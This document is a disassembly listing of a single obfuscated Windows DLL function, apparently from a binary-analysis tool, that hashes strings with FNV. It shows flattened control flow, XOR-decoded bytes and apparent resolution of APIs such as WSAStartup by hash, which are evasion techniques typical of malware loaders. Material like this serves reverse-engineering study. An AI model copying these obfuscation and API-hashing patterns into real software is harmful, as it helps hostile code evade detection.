Function at 0x1800a76a0
Capabilities:
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x58], r8
mov dword [rbp + 0x8c], edx
mov qword [rbp + 0x70], rcx
mov rax, qword [0x1800e8a00]
xor rax, rbp
mov qword [rbp + 0x100], rax
movabs r12, 0xcbf29ce484222325
movabs r9, 0x100000001b3
mov eax, 0x539e5f25
mov r10d, 0x15c3f435
mov r11d, 0x820447f7
mov r14d, 0x7a49349b
mov r15d, 0xd557fee3
mov r13d, 0xf21ebfc4
jmp 0x1800a7740
cmp eax, 0xde799df6
je 0x1800a8224
cmp eax, 0xdea8af87
jne 0x1800a7740
mov eax, 0xe50cf3a6
mov dword [rbp + 0xa8], 0
nop word cs:[rax + rax]
nop
cmp eax, 0xf872e6c9
jle 0x1800a77b0
cmp eax, 0x2f855b6b
jg 0x1800a7820
cmp eax, 0x2119ae20
jle 0x1800a78e9
cmp eax, 0x268ce35c
jle 0x1800a7a41
cmp eax, 0x2a89d380
jle 0x1800a7c1a
cmp eax, 0x2a89d381
je 0x1800a82a2
cmp eax, 0x2e1e6e1d
je 0x1800a82b8
cmp eax, 0x2ed59378
jne 0x1800a7740
cmp byte [rbp + 0xa0], 0
mov eax, 0x279de8f4
mov ecx, 0x99e4804d
cmovne eax, ecx
jmp 0x1800a7740
cmp eax, 0xc45b934f
jg 0x1800a7880
cmp eax, 0xa103f419
jle 0x1800a795d
cmp eax, 0xb0115d1d
jle 0x1800a7a94
cmp eax, 0xb978026e
jle 0x1800a7c67
cmp eax, 0xb978026f
je 0x1800a82d1
cmp eax, 0xc1350d03
je 0x1800a7725
cmp eax, 0xc1750434
jne 0x1800a7740
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x30], rax
mov eax, 0x47e681b3
jmp 0x1800a7740
cmp eax, 0x560a9954
jle 0x1800a79bb
cmp eax, 0x65a3a5a1
jle 0x1800a7acc
cmp eax, 0x69fd7035
jle 0x1800a7c93
cmp eax, 0x69fd7036
je 0x1800a82e7
cmp eax, 0x7505e010
je 0x1800a8308
cmp eax, 0x7f000611
jne 0x1800a7740
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x38], rax
mov eax, 0x806a43d9
jmp 0x1800a7740
cmp eax, 0xd6d71a75
jle 0x1800a7a00
cmp eax, 0xe0add347
jle 0x1800a7b21
cmp eax, 0xe50cf3a5
jle 0x1800a7d22
cmp eax, 0xf0d5ba4b
je 0x1800a831e
cmp eax, 0xf4a92aef
jne 0x1800aca7b
mov rcx, qword [rbp - 8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0xd5226b1f
jmp 0x1800a7740
cmp eax, 0x15bff134
jg 0x1800a7b55
cmp eax, 0xac9da82
jg 0x1800a7d3d
cmp eax, 0xf872e6ca
je 0x1800a8337
cmp eax, 0x700ead4
jne 0x1800a7740
sub rsp, 0x20
mov rcx, qword [rbp + 0x70]
mov edx, dword [rbp + 0x8c]
lea r8, [rbp + 0xe8]
lea r9, [rbp + 0xf4]
call fcn.18009cc30
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x2c], eax
mov eax, 0xe0add348
jmp 0x1800a7740
cmp eax, 0x947d0728
jg 0x1800a7b80
cmp eax, 0x89e4bb8a
jg 0x1800a7dd7
cmp eax, 0x806a43d9
je 0x1800a8349
cmp eax, 0x831d3922
jne 0x1800a7740
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0x15bff135
jmp 0x1800a7740
cmp eax, 0x47e681b2
jg 0x1800a7bba
cmp eax, 0x42d51997
jg 0x1800a7fcf
cmp eax, 0x2f855b6c
je 0x1800a83da
cmp eax, 0x341dceb1
jne 0x1800a7740
cmp byte [rbp + 0xa2], 0
mov eax, 0x2f855b6c
mov ecx, 0x831d3922
cmovne eax, ecx
jmp 0x1800a7740
cmp eax, 0xcde2033e
jg 0x1800a7be4
cmp eax, 0xca31b250
jg 0x1800a8000
cmp eax, 0xc45b9350
je 0x1800a8445
cmp eax, 0xc9780b7e
jne 0x1800a7740
cmp dword [rbp + 0x20], 0
setne byte [rbp + 0x9f]
mov eax, 0x5b6bce38
jmp 0x1800a7740
cmp eax, 0x21430949
jg 0x1800a805e
cmp eax, 0x2119ae21
je 0x1800a845a
cmp eax, 0x2136197d
jne 0x1800a7740
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0x2143094a
jmp 0x1800a7740
cmp eax, 0xa5a24bf7
jg 0x1800a80a6
cmp eax, 0xa103f41a
je 0x1800a847b
cmp eax, 0xa486b9d8
jne 0x1800a7740
mov eax, dword [rbp + 0x30]
cmp eax, 4
setne byte [rbp + 0xa6]
mov eax, 0x95846d40
jmp 0x1800a7740
cmp eax, 0x5b6bce37
jg 0x1800a80d5
cmp eax, 0x560a9955
je 0x1800a8491
cmp eax, 0x5b5207d4
jne 0x1800a7740
mov rax, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp - 0x28]
jmp 0x1800a7725
cmp eax, 0xde799df5
jg 0x1800a7713
cmp eax, 0xd6d71a76
je 0x1800a84ff
cmp eax, 0xdbb3aafb
jne 0x1800a7740
mov eax, dword [rbp + 0xf4]
mov dword [rbp + 0x30], eax
mov eax, 0xa486b9d8
jmp 0x1800a7740
cmp eax, 0x1b11f22b
jg 0x1800a811f
cmp eax, 0x15bff135
je 0x1800a8514
cmp eax, 0x192cf52b
jne 0x1800a7740
mov eax, 0x279de8f4
jmp 0x1800a7740
cmp eax, 0x986c6396
jg 0x1800a8192
cmp eax, 0x947d0729
je 0x1800a851e
cmp eax, 0x95846d40
jne 0x1800a7740
cmp byte [rbp + 0xa6], 0
mov eax, 0xd1b70315
mov ecx, 0xc45b9350
cmovne eax, ecx
jmp 0x1800a7740
cmp eax, 0x539e5f24
jg 0x1800a81da
cmp eax, 0x47e681b3
je 0x1800a8531
cmp eax, 0x5273a09f
jne 0x1800a7740
mov rax, qword [rbp - 0x48]
jmp 0x1800a7725
cmp eax, 0xd5226b1e
jg 0x1800a81fa
cmp eax, 0xcde2033f
je 0x1800a8547
cmp eax, 0xd1b70315
jne 0x1800a7740
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x38], rax
mov eax, 0x268ce35d
jmp 0x1800a7740
cmp eax, 0x268ce35d
je 0x1800a8560
cmp eax, 0x279de8f4
jne 0x1800a7740
mov dword [rbp + 0xf8], 0x3e8
mov eax, 0xaecfa5c5
nop
cmp eax, 0xb0a0754
je 0x1800a8576
cmp eax, 0xaecfa5c5
jne 0x1800a7c40
lea rax, [rbp + 0xf8]
mov qword [rbp + 0xe0], rax
mov eax, 0xb0a0754
jmp 0x1800a7c40
cmp eax, 0xb0115d1e
je 0x1800a85bd
cmp eax, 0xb6556a88
jne 0x1800a7740
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov eax, 0xf12e9ba
jmp 0x1800a7740
cmp eax, 0x65a3a5a2
je 0x1800a85f2
cmp eax, 0x68a22654
jne 0x1800a7740
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x60]
mov ecx, 0x22e7c99f
nop word cs:[rax + rax]
cmp ecx, 0x3d177632
je 0x1800a8991
cmp ecx, 0x22e7c99f
jne 0x1800a7cc0
mov dword [rbp + 0xf8], 0x57
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800a7d0e
cmp ecx, 0xae59caab
jne 0x1800a7cf0
mov byte [rbp + 0xd0], 3
mov ecx, 0x62e867da
jmp 0x1800a7cf0
movsx ecx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], ecx
mov ecx, 0x3d177632
jmp 0x1800a7cc0
cmp eax, 0xe0add348
je 0x1800a8a12
cmp eax, 0xe2e5ce57
je 0x1800a7725
jmp 0x1800a7740
cmp eax, 0xac9da83
je 0x1800a7725
cmp eax, 0xf12e9ba
jne 0x1800a7740
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
mov byte [rcx], 0x12
mov rcx, qword [rbp + 0xb0]
mov edx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp edx, 0x83be89e4
je 0x1800a8a27
cmp edx, 0x43274e82
jne 0x1800a7d80
mov edx, 0xb42677b2
nop dword [rax]
cmp edx, 0xeca36e48
je 0x1800a7dbe
cmp edx, 0xb42677b2
jne 0x1800a7da0
mov qword [rbp + 0xe0], rax
mov edx, 0xeca36e48
jmp 0x1800a7da0
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
xor dl, 0x43
mov byte [rbp + 0xf8], dl
mov edx, 0x83be89e4
jmp 0x1800a7d80
cmp eax, 0x89e4bb8b
je 0x1800a8a97
cmp eax, 0x9327a75e
jne 0x1800a7740
mov r8, qword [rbp + 0x40]
mov edx, 0xf451a3b8
jmp 0x1800a7e30
mov al, byte [rbp + 0xbc]
mov edi, dword [rbp + 0xdc]
sub dil, al
mov byte [rdx + rbx], dil
mov rax, qword [rbp + 0xe0]
add rax, 1
mov qword [rbp + 0xf8], rax
mov edx, 0xd6e7f35b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf451a3b7
jle 0x1800a7e70
cmp edx, 0x21b7bdf5
jle 0x1800a7eb0
cmp edx, 0x2b698258
je 0x1800a7f39
cmp edx, 0x426d6ca6
jne 0x1800a7fae
mov qword [rbp + 0xd0], r8
mov edx, 0xf541766f
jmp 0x1800a7e30
cmp edx, 0xc68a49ec
jg 0x1800a7f10
cmp edx, 0x8cae7eff
je 0x1800a7f5d
cmp edx, 0xc3a07833
jne 0x1800a7e30
mov rdx, qword [rbp + 0xb0]
mov qword [rbp + 0xc0], rdx
mov edx, 0x21b7bdf6
jmp 0x1800a7e30
cmp edx, 0xf451a3b8
je 0x1800a7f6e
cmp edx, 0xf541766f
jne 0x1800a7e30
mov rdx, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xe0]
movsx edi, byte [rdx + rbx]
mov esi, 0xdd6d336b
nop
cmp esi, 0x4487ec1e
je 0x1800a7f78
cmp esi, 0xdd6d336b
jne 0x1800a7ee0
mov dword [rbp + 0xdc], edi
mov esi, 0x4487ec1e
jmp 0x1800a7ee0
cmp edx, 0xc68a49ed
je 0x1800a7fa2
cmp edx, 0xd6e7f35b
jne 0x1800a7e30
mov edx, 0x2b698258
mov rcx, qword [rbp + 0xf8]
jmp 0x1800a7e30
mov qword [rbp + 0xe0], rcx
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xb
mov edx, 0x8cae7eff
mov eax, 0x426d6ca6
cmovb edx, eax
jmp 0x1800a7e30
mov qword [rbp + 0xb0], r8
mov edx, 0xc3a07833
jmp 0x1800a7e30
mov edx, 0xc68a49ed
jmp 0x1800a7e30
mov edi, 0xbc5da1fa
nop dword [rax]
cmp edi, 0x22546c21
je 0x1800a7df8
cmp edi, 0xbc5da1fa
jne 0x1800a7f80
mov byte [rbp + 0xbc], 4
mov edi, 0x22546c21
jmp 0x1800a7f80
mov edx, 0x2b698258
xor ecx, ecx
jmp 0x1800a7e30
cmp edx, 0x21b7bdf6
jne 0x1800a7e30
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x80], rax
mov eax, 0x65a3a5a2
jmp 0x1800a7740
cmp eax, 0x42d51998
je 0x1800a8aac
cmp eax, 0x433ff661
jne 0x1800a7740
mov eax, dword [rbp + 0x28]
cmp eax, dword [rbp + 0x80]
mov eax, 0xc1750434
mov ecx, 0xb978026f
cmove eax, ecx
jmp 0x1800a7740
cmp eax, 0xca31b251
je 0x1800a8ac5
cmp eax, 0xccf8f0af
jne 0x1800a7740
sub rsp, 0x20
mov rcx, qword [rbp + 0x70]
mov edx, dword [rbp + 0x8c]
lea r8, [rbp + 0xe8]
lea r9, [rbp + 0xf4]
call fcn.18009cc30
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x34], eax
mov eax, 0x89e4bb8b
jmp 0x1800a7740
cmp eax, 0x2143094a
je 0x1800a8ae9
cmp eax, 0x23742422
jne 0x1800a7740
mov rcx, qword [rbp + 0x38]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0x55264367
jmp 0x1800a7740
cmp eax, 0xa5a24bf8
je 0x1800a8af3
cmp eax, 0xae0c7da4
jne 0x1800a7740
cmp byte [rbp + 0xa4], 0
mov eax, 0xd61cf259
mov ecx, 0x23742422
cmovne eax, ecx
jmp 0x1800a7740
cmp eax, 0x5b6bce38
je 0x1800a8b0c
cmp eax, 0x618a81d7
jne 0x1800a7740
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp - 0x10]
jmp 0x1800a7725
cmp eax, 0x1b11f22c
je 0x1800a8b2e
cmp eax, 0x1e3af583
jne 0x1800a7740
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
mov byte [rcx], 0x5b
mov rcx, qword [rbp + 0xb0]
mov dword [rbp + 0xf8], 0x43
mov edx, 0x1149c90f
nop word cs:[rax + rax]
nop
cmp edx, 0xe9ff49d1
je 0x1800a8b44
cmp edx, 0x1149c90f
jne 0x1800a8170
mov qword [rbp + 0xe0], rax
mov edx, 0xe9ff49d1
jmp 0x1800a8170
cmp eax, 0x986c6397
je 0x1800a8b88
cmp eax, 0x99e4804d
jne 0x1800a7740
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov eax, 0x192cf52b
jmp 0x1800a7740
cmp eax, 0x539e5f25
je 0x1800a8b9a
cmp eax, 0x55264367
jne 0x1800a7740
mov eax, 0xd61cf259
jmp 0x1800a7740
cmp eax, 0xd5226b1f
je 0x1800a8cc2
cmp eax, 0xd61cf259
jne 0x1800a7740
mov eax, 0xca31b251
mov dword [rbp + 0x88], 0
jmp 0x1800a7740
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x40]
mov ecx, 0xea774be3
nop dword [rax]
cmp ecx, 0x14fe7f9d
je 0x1800a8ccc
cmp ecx, 0xea774be3
jne 0x1800a8240
mov dword [rbp + 0xf8], 0x43
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800a828e
cmp ecx, 0xbc5da1fa
jne 0x1800a8270
mov byte [rbp + 0xd0], 4
mov ecx, 0x22546c21
jmp 0x1800a8270
movsx ecx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800a8240
cmp qword [rbp - 8], 0
setne byte [rbp + 0xa5]
mov eax, 0x42d51998
jmp 0x1800a7740
cmp byte [rbp + 0xa3], 0
mov eax, 0xf872e6ca
mov ecx, 0x986c6397
cmovne eax, ecx
jmp 0x1800a7740
mov eax, dword [rbp + 0x80]
add eax, dword [rbp + 0x7c]
mov dword [rbp + 0x24], eax
mov eax, 0x2119ae21
jmp 0x1800a7740
mov rax, qword [rbp]
mov rax, qword [rbp + 0x90]
cmp rax, 0xffffffffffffffff
mov eax, 0xccf8f0af
mov ecx, 0xdea8af87
cmove eax, ecx
jmp 0x1800a7740
mov eax, dword [rbp + 0xf0]
mov dword [rbp + 0x80], eax
mov eax, 0x433ff661
jmp 0x1800a7740
cmp byte [rbp + 0xa1], 0
mov eax, 0x7f000611
mov ecx, 0x2136197d
cmovne eax, ecx
jmp 0x1800a7740
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x10], rax
mov eax, 0x1e3af583
jmp 0x1800a7740
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
mov byte [rcx], 0x54
mov rcx, qword [rbp + 0xb0]
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x4aaab3ae
je 0x1800a8d50
cmp ebx, 0x5c484166
jne 0x1800a8380
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800a83c4
cmp ebx, 0x7d1bb60
jne 0x1800a83a0
mov rbx, qword [rbp + 0xe0]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800a83a0
mov bl, byte [rbp + 0xf8]
xor bl, 0x43
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800a8380
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp + 0x58]
mov ecx, 0xfef30b2c
nop
cmp ecx, 0xf3bca8ed
je 0x1800a8dcd
cmp ecx, 0xfef30b2c
jne 0x1800a83f0
mov ecx, 0x15501fb5
nop dword [rax]
cmp ecx, 0x22e30b53
je 0x1800a842e
cmp ecx, 0x15501fb5
jne 0x1800a8410
mov byte [rbp + 0xf8], 7
mov ecx, 0x22e30b53
jmp 0x1800a8410
movsx ecx, byte [rbp + 0xf8]
add ecx, 0x43
mov dword [rbp + 0xe0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800a83f0
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 8], rax
mov eax, 0x2a89d381
jmp 0x1800a7740
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
setne byte [rbp + 0xa0]
mov eax, 0x2ed59378
jmp 0x1800a7740
cmp qword [rbp + 0x38], 0
setne byte [rbp + 0xa4]
mov eax, 0xae0c7da4
jmp 0x1800a7740
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov r8d, dword [rbp + 0xf4]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x90]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xf0]
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x30
test eax, eax
mov rax, qword [rbp - 0x18]
mov eax, 0x947d0729
mov ecx, 0xd6d71a76
cmove eax, ecx
jmp 0x1800a7740
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x20], rax
mov eax, 0x1b11f22c
jmp 0x1800a7740
mov eax, 0x2f855b6c
jmp 0x1800a7740
mov eax, dword [rbp + 0xf4]
mov dword [rbp + 0x28], eax
mov eax, 0x7505e010
jmp 0x1800a7740
cmp qword [rbp - 0x30], 0
setne byte [rbp + 0xa1]
mov eax, 0xf0d5ba4b
jmp 0x1800a7740
cmp dword [rbp + 0x84], 0
mov eax, 0xa103f41a
mov ecx, 0xc45b9350
cmove eax, ecx
jmp 0x1800a7740
mov rax, qword [rbp + 0x38]
mov eax, dword [rax]
mov dword [rbp + 0x84], eax
mov eax, 0xcde2033f
jmp 0x1800a7740
mov r8, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, qword [rbp + 0x70]
mov edx, dword [rbp + 0x8c]
mov r9d, 4
call fcn.180096ea0
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x20], eax
mov eax, 0xc9780b7e
jmp 0x1800a7740
mov rcx, qword [rbp - 0x70]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov qword [rbp - 0x78], rax
mov eax, 0x5b5207d4
jmp 0x1800a7740
mov r8, qword [rbp - 0x80]
mov esi, 0x5a095eaf
jmp 0x1800a8620
movsxd rdi, ecx
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop dword [rax]
cmp esi, 0x225a7bc4
jle 0x1800a8670
cmp esi, 0x47bbb916
jle 0x1800a86d0
cmp esi, 0x5a3f4fc7
jg 0x1800a8779
cmp esi, 0x47bbb917
je 0x1800a8843
cmp esi, 0x4e13d4a4
je 0x1800a8852
cmp esi, 0x5a095eaf
jne 0x1800a8620
mov esi, 0xcc3ba284
jmp 0x1800a8620
cmp esi, 0xe575f6ff
jg 0x1800a8730
cmp esi, 0xb1175138
jle 0x1800a87b7
cmp esi, 0xb1175139
je 0x1800a885c
cmp esi, 0xcc3ba284
je 0x1800a8871
cmp esi, 0xd557fee3
jne 0x1800a8620
mov eax, dword [rbp + 0xdc]
or eax, 0x20
mov dword [rbp + 0xb0], eax
mov esi, 0xf3a692f1
jmp 0x1800a8620
cmp esi, 0x297bd53c
jle 0x1800a87df
cmp esi, 0x297bd53d
je 0x1800a85fd
cmp esi, 0x3b762931
je 0x1800a887d
cmp esi, 0x3f5c8003
jne 0x1800a8620
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov eax, dword [rbp + 0xd0]
cmp eax, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800a8620
cmp esi, 0xf3632eba
jle 0x1800a8811
cmp esi, 0xf3632ebb
je 0x1800a8887
cmp esi, 0xf3a692f1
je 0x1800a8891
cmp esi, 0x15c3f435
jne 0x1800a8620
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800a8620
cmp esi, 0x5a3f4fc8
je 0x1800a88a1
cmp esi, 0x663c52c8
je 0x1800a88b6
cmp esi, 0x7a49349b
jne 0x1800a8620
mov eax, dword [rbp + 0xd0]
add rax, r8
mov qword [rbp + 0xf8], rax
mov esi, 0x2758122a
jmp 0x1800a8620
cmp esi, 0x820447f7
je 0x1800a88e4
cmp esi, 0x928c3d39
jne 0x1800a8932
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xdc]
jmp 0x1800a8620
cmp esi, 0x225a7bc5
je 0x1800a88fe
cmp esi, 0x2758122a
jne 0x1800a8620
mov rax, qword [rbp + 0xf8]
movzx eax, byte [rax]
mov byte [rbp + 0xcd], al
mov esi, 0x225a7bc5
jmp 0x1800a8620
cmp esi, 0xe575f700
je 0x1800a8922
cmp esi, 0xf21ebfc4
jne 0x1800a8620
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800a8620
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800a8620
mov esi, 0xe575f700
jmp 0x1800a8620
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800a8620
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800a8620
mov esi, 0x47bbb917
jmp 0x1800a8620
mov esi, 0x3b762931
jmp 0x1800a8620
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xb0]
jmp 0x1800a8620
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800a8620
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [r8 + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800a8620
mov eax, dword [rbp + 0xdc]
cmp eax, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800a8620
movsx eax, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], eax
mov eax, dword [rbp + 0xdc]
cmp eax, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800a8620
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800a8620
cmp esi, 0x9c018438
jne 0x1800a8620
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0x820447f7
mov r10d, 0x15c3f435
movabs r9, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov eax, 0xe50cf3a6
mov dword [rbp + 0xa8], 1
jmp 0x1800a7740
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0xe0]
mov byte [rax], cl
mov ecx, 0x22e7c99f
nop word cs:[rax + rax]
nop
cmp ecx, 0x3d177632
je 0x1800a8e43
cmp ecx, 0x22e7c99f
jne 0x1800a89b0
mov dword [rbp + 0xf8], WSAStartup
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800a89fe
cmp ecx, 0xae59caab
jne 0x1800a89e0
mov byte [rbp + 0xd0], 3
mov ecx, 0x62e867da
jmp 0x1800a89e0
movsx ecx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], ecx
mov ecx, 0x3d177632
jmp 0x1800a89b0
cmp dword [rbp + 0x2c], 0
setne byte [rbp + 0xa3]
mov eax, 0x2e1e6e1d
jmp 0x1800a7740
mov dl, byte [rbp + 0xf8]
mov byte [rcx + 1], dl
mov edx, 0x43274e82
nop word cs:[rax + rax]
nop
cmp edx, 0x83be89e4
je 0x1800a8ec2
cmp edx, 0x43274e82
jne 0x1800a8a40
mov edx, 0xb42677b2
nop dword [rax]
cmp edx, 0xeca36e48
je 0x1800a8a7e
cmp edx, 0xb42677b2
jne 0x1800a8a60
mov qword [rbp + 0xe0], rax
mov edx, 0xeca36e48
jmp 0x1800a8a60
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
xor dl, 0x6c
mov byte [rbp + 0xf8], dl
mov edx, 0x83be89e4
jmp 0x1800a8a40
cmp dword [rbp + 0x34], 0
setne byte [rbp + 0xa7]
mov eax, 0xa5a24bf8
jmp 0x1800a7740
cmp byte [rbp + 0xa5], 0
mov eax, 0xc1350d03
mov ecx, 0xf4a92aef
cmovne eax, ecx
jmp 0x1800a7740
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x7c], eax
mov eax, dword [rbp + 0x84]
cmp eax, dword [rbp + 0x7c]
mov eax, 0xde799df6
mov ecx, 0x700ead4
cmova eax, ecx
jmp 0x1800a7740
mov eax, 0x7f000611
jmp 0x1800a7740
cmp byte [rbp + 0xa7], 0
mov eax, 0xe2e5ce57
mov ecx, 0xdbb3aafb
cmovne eax, ecx
jmp 0x1800a7740
cmp byte [rbp + 0x9f], 0
mov eax, 0xb6556a88
mov ecx, 0xca31b251
cmovne eax, ecx
mov ecx, dword [rbp + 0x24]
mov dword [rbp + 0x88], ecx
jmp 0x1800a7740
cmp qword [rbp - 0x20], 0
setne byte [rbp + 0xa2]
mov eax, 0x341dceb1
jmp 0x1800a7740
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x98a63856
nop dword [rax + rax]
cmp edx, 0xcf499829
je 0x1800a9370
cmp edx, 0x98a63856
jne 0x1800a8b60
movsx edx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], edx
mov edx, 0xcf499829
jmp 0x1800a8b60
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x18], rax
mov eax, 0x68a22654
jmp 0x1800a7740
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rcx, rsp
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0xf4]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov dword [rbp + 0xf4], 0
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov dword [rbp + 0xf0], 0
lea rax, [rbp + 0xe8]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], 0
mov qword [rbp], rcx
mov rax, qword [rbp]
